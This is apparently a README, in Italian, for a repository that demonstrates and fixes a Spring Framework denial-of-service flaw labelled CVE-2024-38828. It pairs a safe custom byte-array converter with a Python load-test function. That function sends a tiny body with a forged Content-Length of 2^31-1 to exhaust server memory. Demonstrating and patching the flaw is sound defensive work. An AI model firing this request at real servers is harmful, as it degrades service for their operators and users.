
PoC e fix per CVE-2024-38828: DoS del framework Spring tramite manipolazione di Content-Length in ByteArrayHttpMessageConverter. Include test di carico, metriche e un convertitore sicuro personalizzato.
Il test verifica il comportamento/la reazione in Spring Framework con la vulnerabilità CVE-2024-38828 e senza.
In ByteArrayHttpMessageConverter viene allocata memoria in ByteArrayOutputStream in base all'header della richiesta Content-Length, che potrebbe non corrispondere alla realtà con un corpo di 0 byte.
Con un aumento improvviso di tali richieste (DoS), la memoria viene utilizzata in modo non ottimale, compaiono regolari pulizie del GC e l'applicazione inizia a rallentare. Mostrerò come implementarlo/correggerlo e le metriche.

CVE-2024-38828 è una vulnerabilità di tipo Denial of Service (DoS) in Spring Framework che consente a un attaccante di causare l'esaurimento della memoria sul server attraverso un controller Spring MVC con un parametro di tipo byte[].
HttpMessageConverter personalizzato per gestire array di byte.
├── src/
│ └── main/
│ └── java/
│ └── me/
│ └── func/
│ └── demo/
│ ├── config/
│ │ └── WebConfig.java
│ ├── converter/
│ │ └── SafeByteArrayHttpMessageConverter.java
│ ├── controller/
│ │ └── DemoController.java
│ └── DemoApplication.java
├── tests/
│ ├── load_test.py
│ └── results/
│ ├── результаты_теста.png
│ └── метрики.json
└── README.md
def send_request(url):
try:
response = requests.post(
url,
data=b'0', # Минимальный payload
headers={
'Content-Type': 'application/octet-stream',
'Content-Length': str(2**31 - 1) # Максимальный размер
}
)
return response.status_code, response.text
except Exception as e:
return f"Ошибка: {str(e)}", None
pip install -r requirements.txt
python tests/load_test.py